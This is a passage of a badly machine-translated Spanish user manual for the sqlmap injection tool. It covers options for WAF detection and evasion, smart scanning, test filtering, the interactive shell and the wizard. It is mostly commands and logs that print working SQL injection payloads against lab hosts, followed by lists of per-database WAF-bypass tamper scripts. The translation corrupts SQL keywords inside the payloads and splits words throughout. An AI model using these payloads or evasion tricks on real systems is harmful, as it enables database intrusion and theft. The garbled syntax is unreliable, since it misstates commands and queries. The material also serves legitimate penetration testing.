$ Python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --que \ dentify-WAF -v 3 [...] [Xx: xx: 23] [INFO] comprobar la conexión a la URL de destino [Xx: xx: 23] [Info] heurísticos detectan la página web de juego de caracteres 'ascii' [Xx: xx: 23] [INFO] el uso de scripts para detectar WAF backend protección WAF / IPS / IDS [Xx: xx: 23] [DEBUG] comprobación de la FAT / IDS / IPS producto 'USP seguro servidor de entrada (Des Proveedores de seguridad ITED) ' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'BinarySEC de aplicaciones web F irewall (BinarySEC) ' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'NetContinuum Web applicatio n Firewall (NetContinuum / Barracuda Networks) ' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS "Aplicación Web Hyperguard Firewall (arte de la defensa Inc.) ' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS de Cisco ACE XML Gateway (CISC o Sistemas) ' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'TrafficShield (F5 Networks) ' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'Teros / Citrix Application Fi cortafuegos Empresa (Teros / Citrix Systems) ' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS "Soluciones de seguridad Kona (Ak amai Technologies) ' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'Incapsula de aplicaciones web F irewall (Incapsula / Imperva) ' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS "Aplicación Web CloudFlare Firewall (CloudFlare) ' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'Barracuda Web Application F irewall (Barracuda Networks) ' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'webApp.secure (webScurity)' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS Proventia Web Application S eguridad (IBM) ' [Xx: xx: 23] [DEBUG] declarado página web charset "iso-8859-1" [Xx: xx: 23] [DEBUG] página no encontrada (404) [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'KS-WAF (Knownsec)' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'NetScaler (Citrix Systems)' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'Jiasule de aplicaciones web de abeto

Page 61: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

ewall (Jiasule) ' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'WebKnight Aplicación Firew todos (AQTRONIX) ' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'AppWall (Radware)' [Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS "ModSecurity: Open Source Nosotros b Application Firewall (Trustwave) ' [Xx: xx: 23] [CRÍTICA] WAF / IDS / IPS identifica 'ModSecurity: Web Appli Open Source cación Firewall (Trustwave) '. Por favor, considere el uso de secuencias de comandos de manipulación indebida (opción '- -manosear') [...]

Saltar detección heurística de la protección WAF / IPS / IDS

Interruptor: --skip-WAF De forma predeterminada, sqlmap envía automáticamente dentro de uno de partida solicita un valor de parámetro ficticio que contiene una carga útil de inyección SQL "sospechosos" de manera deliberada (por ejemplo ... y foobar = Y 1 = 1 UNION ALL SELECT 1,2,3, nombre_tabla WHERE DE INFORMATION_SCHEMA.TABLES 2>

1 ). Si el objetivo responde de manera diferente que para la solicitud original, hay una alta posibilidad de que está bajo algún tipo de protección. En caso de cualquier problema, el usuario puede desactivar este mecanismo, proporcionando interruptor --skip-WAF .

imitar teléfono inteligente

Cambiar: --mobile A veces, los servidores web exponen diferentes interfaces hacia los teléfonos móviles que a los ordenadores de sobremesa. En tales casos se puede hacer cumplir el uso de uno de los valores de la cabecera User-Agent teléfono inteligente HTTP predeterminados. Mediante el uso de este interruptor, sqlmap le pedirá que elija uno de los teléfonos inteligentes populares que se va a imitar en la ejecución actual.

Ejemplo de ejecución:

$ Python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile [...] el cual su smartphone es lo que desea sqlmap imitar a través de HTTP cabecera User-Agent? [1] Apple iPhone 4s (por defecto) [2] BlackBerry 9900 [3] Nexus 7 Google [4] HP iPAQ 6365 [5] HTC Sensation [6] Nokia N97 [7] Samsung Galaxy S > 1

Page 62: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

[...]

El trabajo en modo fuera de línea (sólo utilizar los datos de sesión)

Cambiar: --offline Mediante el uso de interruptor de --offline sqlmap va a utilizar únicamente los datos de la sesión anterior en la enumeración de datos. Esto básicamente significa que habrá cero intentos de conexión durante dicho plazo.

fila de la página de visualización (PR) para los resultados de Google dork

Cambiar: --page-rank Realiza pide además a Google cuando -g es suministrada fila de la página de visualización (PR) para los resultados de Google dork.

Extracción segura de todo el contenido de un directorio de salida

Cambiar --purge-salida En caso de que el usuario decida retirar de forma segura todo el contenido de la salida del directorio, que contiene todos los detalles del objetivo de carreras sqlmap anteriores, se puede utilizar el interruptor --purge-salida . Mientras se purga, todos los archivos de (sub) directorios de la carpeta de salida se sobrescribirán con datos aleatorios, truncadas, han cambiado de nombre a los nombres al azar, (sub) directorios se cambiará el nombre de nombres aleatorios también, y finalmente se eliminarán todo el árbol de directorios. Ejemplo de ejecución:

$ Python sqlmap.py --purge-salida -v 3 [...] [Xx: xx: 55] [INFO] purgar el contenido del directorio '/ home / usuario / sqlmap / salida' ... [Xx: xx: 55] [DEBUG] cambiantes atributos de archivo [Xx: xx: 55] [DEBUG] escribiendo datos aleatorios en los archivos [Xx: xx: 55] [DEBUG] archivos que truncan [Xx: xx: 55] [DEBUG] nombres de archivo de cambio de nombre a valores aleatorios [Xx: xx: 55] [DEBUG] nombres de directorio de cambio de nombre a valores aleatorios [Xx: xx: 55] [DEBUG] borrar todo el árbol de directorios [...]

Llevar a cabo a través de pruebas sólo si heurística (s) positivo

Page 63: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

cambiar --smart Hay casos en que el usuario tiene una larga lista de posibles direcciones URL de destino (por ejemplo, proporcionado con la opción -m ) y quiere encontrar un blanco vulnerable lo más rápido posible. Si el interruptor --smart se utiliza, sólo los parámetros con los que DBMS error (s) puede ser provocado, se están utilizando más en las exploraciones. De lo contrario, se omiten. Ejemplo frente a un objetivo de MySQL:

$ Python sqlmap.py -u "http:? //192.168.21.128/sqlmap/mysql/get_int.php Ca = 17 & usar \ r = foo & id = 1 "--batch --smart [...] [Xx: xx: 14] [INFO] prueba si el parámetro GET 'ca' es dinámico [Xx: xx: 14] [ADVERTENCIA] GET parámetro 'CA' no aparece dinámico [Xx: xx: 14] [ADVERTENCIA] heurística (básicos) prueba muestra que se interponen parámetro 'ca' podría no ser inyectable [Xx: xx: 14] [INFO] saltarse parámetro GET 'ca' [Xx: xx: 14] [INFO] prueba si el parámetro GET "usuario" es dinámico [Xx: xx: 14] [ADVERTENCIA] Parámetro de "usuario" no aparece dinámico [Xx: xx: 14] [ADVERTENCIA] heurística (básicos) prueba muestra que se interponen parámetro "usuario" Migh t no sea inyectable [Xx: xx: 14] [INFO] saltarse parámetro GET "usuario" [Xx: xx: 14] [INFO] prueba si el parámetro GET 'id' es dinámico [Xx: xx: 14] [INFO] que confirma que el parámetro GET 'id' es dinámico [Xx: xx: 14] [INFO] GET parámetro "id" es dinámico [Xx: xx: 14] [ADVERTENCIA] valor reflectante (s) encontrado y filtrado a cabo [Xx: xx: 14] [INFO] heurística (básicos) prueba muestra que se interponen parámetro 'id' podría ser inyectable (posible DBMS: 'MySQL') [Xx: xx: 14] [INFO] pruebas de inyección SQL en GET parámetro 'id' prueba heurística (análisis) mostró que el DBMS de back-end podrían ser 'MySQL'. Vos si quiera saltarse las cargas útiles de ensayo específicos para otros DBMS? [Y / n] Y ¿desea incluir todas las pruebas para extender proporcionado nivel 'MySQL' (1) y ri sk (1)? [Y / n] Y [Xx: xx: 14] 'basado en booleano Y ciega - WHERE o HAVING' [INFO] pruebas [Xx: xx: 14] [INFO] GET parámetro "id" es "y ciega basada en booleano - WHERE o HAVI cláusula NG 'inyectable [Xx: xx: 14] Las pruebas de 'MySQL> [INFO] = 5.0 y basado en el error - cláusula WHERE o HAVING ' [Xx: xx: 14] [INFO] GET parámetro 'id' es 'MySQL> = 5.0 y basada en el error - WHERE o cláusula HAVING inyectable ' [XX: XX: 14] [info] pruebas 'inline' consultas MySQL [xx: xx: 14] [info] ensayo »MySQL 5.0.11> consultas apilados ' [Xx: xx: 14] [INFO] pruebas 'MySQL <5.0.12 consultas apiladas (consulta pesada)' [Xx: xx: 14] [INFO] pruebas 'MySQL> 5.0.11 y ciega basada en el tiempo'

Page 64: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

[Xx: xx: 24] [INFO] GET parámetro 'id' es 'MySQL> 5.0.11 y ciega basada en el tiempo' en jectable [xx: xx: 24] [info] pruebas 'MySQL consulta de unión (NULL) - del 1 al 20 columnas' [Xx: xx: 24] [INFO] rangos que se extienden de forma automática para la consulta UNION tecn inyección pruebas iQue ya que hay al menos otra técnica de inyección potencial encontrado [Xx: xx: 24] [INFO] ORDER BY técnica parece ser utilizable. Esto debería reducir la el tiempo necesario para encontrar el número correcto de columnas de la consulta. que se extiende de forma automática t que cubre la prueba actual de la técnica de inyección consulta UNION [Xx: xx: 24] [INFO] URL de destino parece tener 3 columnas en la consulta [Xx: xx: 24] [INFO] GET parámetro 'id' es 'MySQL consulta de unión (NULL) - del 1 al 20 colu MNS inyectable ' [...]

Seleccionar (o saltar) pruebas de cargas y / o títulos

Opción --test-filtro En caso de que desea filtrar las pruebas por parte de sus cargas útiles y / o títulos que puede utilizar esta opción. Por ejemplo, si desea probar todas las cargas que tienen FILA palabra clave dentro, se puede utilizar --test-filter = FILA . Ejemplo frente a un objetivo de MySQL:

$ Python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b \ atch --test-filter = FILA [...] [Xx: xx: 39] [INFO] GET parámetro "id" es dinámico [Xx: xx: 39] [ADVERTENCIA] valor reflectante (s) encontrado y filtrado a cabo [Xx: xx: 39] [INFO] heurística (básicos) prueba muestra que se interponen parámetro 'id' podría ser inyectable (posible DBMS: 'MySQL') [Xx: xx: 39] [INFO] pruebas de inyección SQL en GET parámetro 'id' [Xx: xx: 39] Las pruebas de 'MySQL> [INFO] = 4,1 y basados en los errores - cláusula WHERE o HAVING ' [Xx: xx: 39] [INFO] GET parámetro 'id' es 'MySQL> = 4.1 y basada en el error - WHERE o cláusula HAVING inyectable ' GET parámetro 'id' es vulnerable. ¿Quieres seguir midiéndose los demás (si lo hay )? [S / N] N sqlmap identificó los siguientes puntos de inyección con un total de 3 HTTP (s) reque STS: --- Lugar: GET Parámetro: id

Page 65: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

a base de error: Tipo Título: MySQL> = 4.1 y basada en el error - WHERE o HAVING Carga útil: id = 1 y la fila (4959,4971)> (SELECT COUNT (*), CONCAT (0x3a6d70623a, (SELEC T (C CUANDO ASE (4959 = 4959) then 1 else 0 END)), 0x3a6b7a653a, PISO (RAND (0) * 2)) x FRO SRA ELECTO 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470) GROUP BY x) --- [...]

Opción --test-skip = TEST En caso de que desea omitir las pruebas por parte de sus cargas útiles y / o títulos que puede utilizar esta opción. Por ejemplo, si desea omitir todas las cargas que tienen REFERENCIA palabra clave dentro, se puede utilizar --test-skip = PUNTO DE REFERENCIA .

shell interactiva sqlmap

Cambiar: --sqlmap-shell Mediante el uso de interruptor de --sqlmap-shell de usuario será presentado con la cáscara sqlmap interactiva que cuenta la historia de todas las carreras anteriores con opciones y / o interruptores usados: $ Python sqlmap.py --sqlmap-shell sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique = \ --batch BEA _ ___ ___ | | _____ ___ ___ {1.0-dev-2188502} | _ - | . | | | . '| . | | ___ | _ | _ | _ | _ | _ | __, | _ | | _ | | _ | http://sqlmap.org [!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas las leyes locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna responsabilidad y no son respon sable de cualquier mal uso o daño causado por este programa [*] A partir de las xx: xx: 11 [Xx: xx: 11] [INFO] comprobar la conexión a la URL de destino [Xx: xx: 12] [INFO] prueba si la URL de destino es estable [Xx: xx: 13] [INFO] URL de destino es estable [Xx: xx: 13] [INFO] prueba si el parámetro GET "artista" es dinámico [Xx: xx: 13] [INFO] confirmando "artista" que el parámetro GET es dinámico [Xx: xx: 13] [INFO] Parámetro de "artista" es dinámico [Xx: xx: 13] [INFO] heurística (básicos) prueba muestra que se interponen parámetro "artista" podría ser inyectable (posible DBMS: 'MySQL') [Xx: xx: 13] [INFO] pruebas de inyección SQL en "artista" parámetro GET

Page 66: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

parece que el back-end MySQL DBMS es ''. ¿Quieres saltar cargas útiles de ensayo sp ecific para otros DBMSes? [Y / n] Y para las pruebas restantes, ¿desea incluir todas las pruebas para 'MySQL' que se extiende proporcionado (1) Los valores de nivel (1) y el riesgo? [Y / n] Y [Xx: xx: 13] 'basado en booleano Y ciega - WHERE o HAVING' [INFO] pruebas [Xx: xx: 13] [INFO] GET parámetro 'artista' parece ser 'Y ciega basada en booleano - WHERE o HAVING 'inyectable [Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.0 y basada en el error - Cuando, en vista, B ORDEN Y o cláusula GROUP BY ' [Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.0 o basado en el error - Cuando, en vista, ORDER BY o cláusula GROUP BY ' [Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.1 y basada en el error - Cuando, en vista, B ORDEN Y o cláusula GROUP BY (EXTRACTVALUE) ' [Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.1 o basado en el error - Cuando, en vista, ORDER BY o cláusula GROUP BY (EXTRACTVALUE) ' [Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 y basada en el error - Cuando, en vista, B ORDEN Y o cláusula GROUP BY (UPDATEXML) ' [Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 o basado en el error - Cuando, en vista, ORDER BY o cláusula GROUP BY (UPDATEXML) ' [Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 y basada en el error - Cuando, en vista, B ORDEN Y o cláusula GROUP BY (EXP) ' [Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 o basado en el error - WHERE, HAVING (E XP) ' [Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 y basada en el error - Cuando, en vista, B ORDEN Y o cláusula GROUP BY (BIGINT sin signo) ' [Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 o basado en el error - WHERE, HAVING (B IGINT signo) ' [Xx: xx: 14] [INFO] pruebas 'MySQL> = 4.1 y basada en el error - Cuando, en vista, B ORDEN Y o cláusula GROUP BY ' [Xx: xx: 14] [INFO] pruebas 'MySQL> = 4.1 o basado en el error - WHERE, HAVING' [Xx: xx: 14] [INFO] pruebas 'MySQL o basados en el error - WHERE o HAVING' [Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 basado en el error - PROCEDIMIENTO DE ANÁLISIS (EXTRACTO VALOR)' [Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.0 error basado en - Parámetro reemplazar' [Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 basado en el error - Parámetro reemplazar (EXTRACTO VALOR)' [Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.1 basado en el error - Parámetro reemplazar (UPDATEX

Page 67: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

ML) ' [Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.5 a errores basa - Parámetro reemplazar (EXP)' [Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.5 basado en el error - Parámetro reemplazar (BIGINT NO FIRMADO)' [xx: xx: 15] [info] pruebas 'UNION Genérico consulta (NULL) - del 1 al 20 columnas' [Xx: xx: 15] [INFO] rangos que se extienden de forma automática para la consulta UNION tecn inyección pruebas iQue ya que hay al menos otra técnica (potencial) encontrado [Xx: xx: 15] [INFO] ORDER BY técnica parece ser utilizable. Esto debería reducir la el tiempo necesario para encontrar el número correcto de columnas de la consulta. que se extiende de forma automática t que cubre la prueba actual de la técnica de inyección consulta UNION [Xx: xx: 15] [INFO] URL de destino parece tener 3 columnas en la consulta [Xx: xx: 16] [INFO] Parámetro de "artista" es "UNIÓN Genérico consulta (NULL) - del 1 al 2 0 inyectable columnas ' Parámetro de la "artista" es vulnerable. ¿Quieres seguir midiéndose los demás (si alguna)? [S / N] N sqlmap identificó el siguiente punto (s) de inyección con un total de 39 HTTP (s) de re misiones: --- Parámetro: artista (GET) Tipo: ciega a base booleana Título: Y booleana basada en la ciega - WHERE o HAVING Carga útil: Artista = 1 AND 5707 = 5707 Tipo: consulta UNION Título: consulta UNION Genérico (NULL) - 3 columnas Carga útil: Artista = -7,983 UNION ALL SELECT CONCAT (0x716b706271,0x6f6c506a7473764 26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71), NULL, NULL-- - --- [Xx: xx: 16] [INFO] MySQL prueba [Xx: xx: 16] [INFO] confirmando MySQL [Xx: xx: 16] [INFO] el back-end DBMS es MySQL La tecnología de aplicaciones web: Nginx, PHP 5.3.10 back-end de DBMS: MySQL> = 5.0.0 [Xx: xx: 16] [INFO] datos captados registran en archivos de texto en "/home/stamparm/.sqlma p / salida / testphp.vulnweb.com ' sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner _ ___ ___ | | _____ ___ ___ {1.0-dev-2188502} | _ - | . | | | . '| . | | ___ | _ | _ | _ | _ | _ | __, | _ | | _ | | _ | http://sqlmap.org [!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo

Page 68: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas las leyes locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna responsabilidad y no son respon sable de cualquier mal uso o daño causado por este programa [*] A partir de las xx: xx: 25 [Xx: xx: 26] [INFO] reanudar 'mysql' back-end DBMS [Xx: xx: 26] [INFO] comprobar la conexión a la URL de destino sqlmap reanudó el siguiente punto (s) de inyección de sesión almacenada: --- Parámetro: artista (GET) Tipo: ciega a base booleana Título: Y booleana basada en la ciega - WHERE o HAVING Carga útil: Artista = 1 AND 5707 = 5707 Tipo: consulta UNION Título: consulta UNION Genérico (NULL) - 3 columnas Carga útil: Artista = -7,983 UNION ALL SELECT CONCAT (0x716b706271,0x6f6c506a7473764 26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71), NULL, NULL-- - --- [Xx: xx: 26] [INFO] el back-end DBMS es MySQL [Xx: xx: 26] [INFO] bandera ir a buscar La tecnología de aplicaciones web: Nginx, PHP 5.3.10 back-end DBMS sistema operativo: Linux Ubuntu DBMS de back-end: MySQL 5 banner: '5.1.73-0ubuntu0.10.04.1' [Xx: xx: 26] [INFO] datos captados registran en archivos de texto en "/home/stamparm/.sqlma p / salida / testphp.vulnweb.com ' sqlmap-shell> exit

sencillo asistente para los usuarios principiantes

Cambiar: --wizard Para los usuarios principiantes hay una interfaz de asistente que utiliza un sencillo flujo de trabajo con el menor posible de preguntas. Si el usuario simplemente entra URL de destino y utiliza respuestas por defecto (por ejemplo, pulsando Enter ) que debe tener un entorno de ejecución sqlmap configurar correctamente por el final del flujo de trabajo. Ejemplo frente a un objetivo de Microsoft SQL Server:

$ Python sqlmap.py --wizard sqlmap / 1.0-dev-2defc30 - inyección SQL automática y una herramienta de base de datos pública de adquisición http://sqlmap.org [!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo

Page 69: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas las leyes locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna responsabilidad y no son respon sable de cualquier mal uso o daño causado por este programa [*] A partir de las xx: xx: 26 Por favor, introduzca la URL de destino completo (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in t.asp? id = 1 datos POST (--Hojas) [Enter para Ninguno]: dificultad para inyección (--level / - riesgo). Por favor seleccione: [1] Normal (predeterminado) [2] Medium [3] duro > 1 Enumeración (--banner / - actual del usuario / etc). Por favor seleccione: [1] básico (por defecto) [2] Inteligente [3] Todos > 1 sqlmap se está ejecutando, por favor espere .. prueba heurística (análisis) mostró que el DBMS de back-end podrían ser "Microsoft SQL S erver '. ¿Quieres saltar cargas útiles de ensayo específicos para otros DBMS? [Y / n] Y ¿desea incluir todas las pruebas para 'Microsoft SQL Server' que se extiende proporcionado l evel (1) y el riesgo (1)? [Y / n] Y GET parámetro 'id' es vulnerable. ¿Quieres seguir midiéndose los demás (si lo hay )? [S / N] N sqlmap identificó los siguientes puntos de inyección con un total de 25 HTTP (s) requ EST: --- Lugar: GET Parámetro: id Tipo: ciega a base booleana Título: Y booleana basada en la ciega - WHERE o HAVING Carga útil: id = 1 AND 2986 = 2986 a base de error: Tipo Título: Microsoft SQL Server / Sybase y basada en el error - WHERE o HAVING Carga útil: id = 1 AND 4847 = CONVERTIR (INT, (CHAR (58) + CHAR (118) + CHAR (114) + CHAR (100) + C HAR (58) + (SELECT (CASO CUANDO (4847 = 4847) ENTONCES CHAR (49) ELSE CHAR (48) FIN)) + CHAR (58 ) + CHAR (111) + CHAR (109) + CHAR (113) + CHAR (58))) Tipo: consulta UNION Título: consulta UNION Genérico (NULL) - 3 columnas

Page 70: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Carga útil: id = 1 UNION ALL SELECT NULL, NULL, CHAR (58) + CHAR (118) + CHAR (114) + CHAR (1 00) + CHAR (58) + CHAR (70) + CHAR (79) + CHAR (118) + CHAR (106) + CHAR (87) + CHAR (101) + CHAR (119) + CHAR (115) + CHAR (114) + CHAR (77) + CHAR (58) + CHAR (111) + CHAR (109) + CHAR (113) + CHAR (58) - Tipo: apilada consultas Título: consultas de Microsoft SQL Server / Sybase apiladas Carga útil: id = 1; WAITFOR RETRASO '0: 0: 5' - Tipo: Y / O-tiempo basado ciegos ciega basada en el tiempo-Microsoft SQL Server / Sybase: Título Carga útil: id = 1 WAITFOR RETRASO '0: 0: 5' - Tipo: consulta en línea Título: / Sybase consultas en línea de Microsoft SQL Server Carga útil: id = (SELECT CHAR (58) + CHAR (118) + CHAR (114) + CHAR (100) + CHAR (58) + (SELECT (CASO CUANDO (6382 = 6382) ENTONCES CHAR (49) ELSE CHAR (48) FIN)) + CHAR (58) + CHAR (111) + CHAR (109) + CHAR (113) + CHAR (58)) --- sistema operativo del servidor Web: Windows XP La tecnología de aplicaciones web: ASP, Microsoft IIS 5.1 back-end sistema operativo DBMS: Windows XP Service Pack 2 DBMS de back-end: Microsoft SQL Server 2005 bandera: --- Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 de de 2005 00:33:37 Derechos de autor (c) 1988-2005 Microsoft Corporation Express Edition en Windows NT 5.1 (Build 2600: Service Pack 2) --- usuario actual: 'sa' base de datos actual: 'testdb' DBA usuario actual es: Verdadero [*] Cerrar desde xx: xx: 52

MySQL

space2randomblank,

unionalltounion

unmagicquotes

versionedkeywords

versionedmorekeywords

xforwardedforbetween

bluecoat

charencode

charunicodeencode

Page 71: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

concat2concatws

equaltolike

greatest

halfversionedmorekeywords

ifnull2ifisnull

space2morehash

space2mysqldash

space2plus

modsecurityversioned

modsecurityzeroversioned

multiplespaces

securesphere

space2comment

space2hash

nonrecursivereplacement

percentage

randomcase

MSSQL:

sp_password

space2comment

space2dash

space2mssqlblank

space2mysqldash

space2plus

space2randomblank

charencode

charunicodeencode

equaltolike

greatest

unionalltounion

unmagicquotes

multiplespaces

nonrecursivereplacement

percentage

randomcase

securesphere

MSAccess:

modsecurityversioned

modsecurityzeroversioned

equaltolike

greatest

halfversionedmorekeywords

nonrecursivereplacement

Page 72: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

percentage

randomcase

securesphere

between

bluecoat

charencode

charunicodeencode

concat2concatws

space2comment

space2hash

space2morehash

space2mysqldash

space2plus

space2randomblank

unionalltounion

unmagicquotes

versionedkeywords

versionedmorekeywords

ifnull2ifisnull

multiplespaces

PostgreSQL:

xforwardedfor

space2comment

space2plus

space2randomblank

between

charencode

charunicodeencode

equaltolike

greatest

multiplespaces

nonrecursivereplacement

percentage

randomcase

securesphere

between

SQLite:

space2plus

unionalltounion

unmagicquotes

xforwardedfor

Page 73: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

ifnull2ifisnull

randomcase

securesphere

space2comment

space2dashmmultiplespaces

nonrecursivereplacement